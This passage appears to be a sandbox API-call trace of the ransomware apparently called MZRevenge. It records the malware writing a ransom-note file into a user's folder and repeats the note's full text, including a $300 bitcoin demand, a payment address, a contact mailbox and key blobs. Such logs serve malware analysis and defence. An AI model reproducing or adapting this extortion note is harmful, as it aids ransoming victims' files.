KuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.755] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.756] CloseHandle (hObject=0x32c) returned 1 [0217.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Videos") returned 1 [0217.756] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos" (normalized: "c:\\users\\fd1hvy\\videos")) returned 0x11 [0217.756] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Videos") returned 1 [0217.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\videos\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY 